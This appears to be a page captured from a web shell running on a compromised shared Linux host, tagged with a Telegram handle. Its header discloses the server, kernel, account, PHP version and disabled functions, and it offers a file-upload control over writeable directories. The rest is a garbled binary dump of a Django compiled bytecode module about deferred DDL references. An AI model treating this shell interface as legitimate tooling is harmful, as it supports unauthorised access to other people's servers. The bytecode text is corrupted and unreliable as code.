https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/db/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/db/backends/__pycache__/ddl_references.cpython-310.pyc
o

�a��@s�dZddlmZGdd�d�ZGdd�de�ZGdd�de�ZGd	d
�d
e�ZGdd�de�ZGd
d�de�ZGdd�de�Z	Gdd�de�Z
Gdd�de�ZdS)z~
Helpers to manipulate deferred DDL statements that might need to be adjusted or
discarded within when executing a migration.
�)�deepcopyc@�@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�	Referencez0Base class that defines the reference interface.cC�dS)zU
        Return whether or not this instance references the specified table.
        F���self�tablerr�C/usr/lib/python3/dist-packages/django/db/backends/ddl_references.py�references_table�zReference.references_tablecCr)zV
        Return whether or not this instance references the specified column.
        Fr�rr	�columnrrr
�references_columnrzReference.references_columncCr)zI
        Rename all references to the old_name to the new_table.
        Nr�r�	old_table�	new_tablerrr
�rename_table_referencesrz!Reference.rename_table_referencescCr)zL
        Rename all references to the old_column to the new_column.
        Nr�rr	�
old_column�
new_columnrrr
�rename_column_referencesrz"Reference.rename_column_referencescCsd|jjt|�fS)Nz<%s %r>)�	__class__�__name__�str�rrrr
�__repr__#�zReference.__repr__cCstd��)Nz>Subclasses must define how they should be converted to string.)�NotImplementedErrorrrrr
�__str__&szReference.__str__N)
r�
__module__�__qualname__�__doc__rrrrrrrrrr
rsrc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�TablezHold a reference to a table.cC�||_||_dS�N)r	�
quote_name)rr	r&rrr
�__init__-�
zTable.__init__cCs
|j|kSr%�r	rrrr
r1s
zTable.references_tablecCs|j|kr
||_dSdSr%r)rrrr
r4s

�zTable.rename_table_referencescCs|�|j�Sr%)r&r	rrrr
r8�z
Table.__str__N)rr r!r"r'rrrrrrr
r#*sr#c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�TableColumnsz9Base class for references to multiple columns of a table.cCr$r%�r	�columns)rr	r-rrr
r'?r(zTableColumns.__init__cCs|j|ko	||jvSr%r,r
rrr
rCrzTableColumns.references_columncCs8|j|krt|j�D]\}}||kr||j|<q
dSdSr%)r	�	enumerater-)rr	rr�indexrrrr
rFs

��z%TableColumns.rename_column_referencesN)rr r!r"r'rrrrrr
r+<s
r+cs*eZdZdZd�fdd�	Zdd�Z�ZS)�Columnsz(Hold a reference to one or many columns.rc�||_||_t��||�dSr%)r&�col_suffixes�superr')rr	r-r&r2�rrr
r'P�zColumns.__init__c�*�fdd��d��fdd�t�j�D��S)NcsF��|�}z�j|}|rd�||�}W|SW|Sty"Y|Sw�Nz{} {})r&r2�format�
IndexError�r�idx�col�suffixrrr
�col_strVs

���z Columns.__str__.<locals>.col_str�, c3��|]
\}}�||�VqdSr%r��.0r;r�r>rr
�	<genexpr>`��z"Columns.__str__.<locals>.<genexpr>��joinr.r-rr�r>rr
rUs
zColumns.__str__)r�rr r!r"r'r�
__classcell__rrr4r
r0Msr0cs(eZdZdZ�fdd�Zdd�Z�ZS)�	IndexNamez"Hold a reference to an index name.cr1r%)r=�create_index_namer3r')rr	r-r=rLr4rr
r'fr5zIndexName.__init__cCs|�|j|j|j�Sr%)rLr	r-r=rrrr
rkrzIndexName.__str__rIrrr4r
rKcsrKcs&eZdZd�fdd�	Zdd�Z�ZS)�IndexColumnsrcs||_t��||||�dSr%)�	opclassesr3r')rr	r-r&r2rNr4rr
r'pszIndexColumns.__init__cr6)NcsTd���|��j|�}z�j|}|rd�||�}W|SW|Sty)Y|Swr7)r8r&rNr2r9r:rrr
r>us
���z%IndexColumns.__str__.<locals>.col_strr?c3r@r%rrArCrr
rD�rEz'IndexColumns.__str__.<locals>.<genexpr>rFrrrHr
rtszIndexColumns.__str__)rr)rr r!r'rrJrrr4r
rMosrMcsXeZdZdZ�fdd�Z�fdd�Z�fdd�Z�fdd	�Z�fd
d�Zdd
�Z	�Z
S)�ForeignKeyNamez'Hold a reference to a foreign key name.cs*t||�|_||_||_t��||�dSr%)r+�to_reference�suffix_template�create_fk_namer3r')r�
from_table�from_columns�to_table�
to_columnsrQrRr4rr
r'�szForeignKeyName.__init__cst��|�p|j�|�Sr%)r3rrPrr4rr
r�szForeignKeyName.references_tablecst��||�p
|j�||�Sr%)r3rrPr
r4rr
r�s�z ForeignKeyName.references_columncs t��||�|j�||�dSr%)r3rrPrr4rr
r�sz&ForeignKeyName.rename_table_referencescs$t��|||�|j�|||�dSr%)r3rrPrr4rr
r�sz'ForeignKeyName.rename_column_referencescCs.|j|jj|jjdd�}|�|j|j|�S)Nr)rU�	to_column)rQrPr	r-rR)rr=rrr
r�s

�zForeignKeyName.__str__)rr r!r"r'rrrrrrJrrr4r
rO�srOc@r)�	Statementz�
    Statement template and formatting parameters container.

    Allows keeping a reference to a statement without interpolating identifiers
    that might have to be adjusted if they're referencing a table or column
    that is removed
    cKr$r%��template�parts)rrZr[rrr
r'�r(zStatement.__init__cst�fdd�|j��D��S)Nc3s$�|]
}t|d�o
|���VqdS)rN)�hasattrr�rB�partr)rr
rD�s
��
�z-Statement.references_table.<locals>.<genexpr>��anyr[�valuesrrr)r
r�s�zStatement.references_tablecst��fdd�|j��D��S)Nc3s&�|]}t|d�o|����VqdS)rN)r\rr]�rr	rr
rD�s
��
�z.Statement.references_column.<locals>.<genexpr>r_r
rrbr
r�s�zStatement.references_columncCs*|j��D]
}t|d�r|�||�qdS)Nr)r[rar\r)rrrr^rrr
r�s

��z!Statement.rename_table_referencescCs,|j��D]}t|d�r|�|||�qdS)Nr)r[rar\r)rr	rrr^rrr
r�s

��z"Statement.rename_column_referencescCs|j|jSr%rYrrrr
r�r*zStatement.__str__N)
rr r!r"r'rrrrrrrrr
rX�srXcs8eZdZ�fdd�Z�fdd�Zdd�Zdd�Z�ZS)	�Expressionscs@||_||_||_dd�|jj�|jg�D�}t��||�dS)NcSsg|]}|jj�qSr)�targetr)rBr<rrr
�
<listcomp>�sz(Expressions.__init__.<locals>.<listcomp>)�compiler�expressions�quote_value�query�	_gen_colsr3r')rr	rgrfrhr-r4rr
r'�s
zExpressions.__init__cs2|j|krdS|j�||i�|_t��||�dSr%)r	rg�relabeled_cloner3rrr4rr
r�s
z#Expressions.rename_table_referencescCsb|j|krdSt|j�}g|_|jj�|g�D]}|jj|kr#||j_|j�	|jj�q||_dSr%)
r	rrgr-rfrirjrdr�append)rr	rrrgr<rrr
r�s


z$Expressions.rename_column_referencescCs*|j�|j�\}}t|j|�}|t|�Sr%)rf�compilerg�maprh�tuple)r�sql�paramsrrr
r�szExpressions.__str__)rr r!r'rrrrJrrr4r
rc�s
rcN)r"�copyrrr#r+r0rKrMrOrXrcrrrr
�<module>s""&

https://t.me/RX1948 - 2025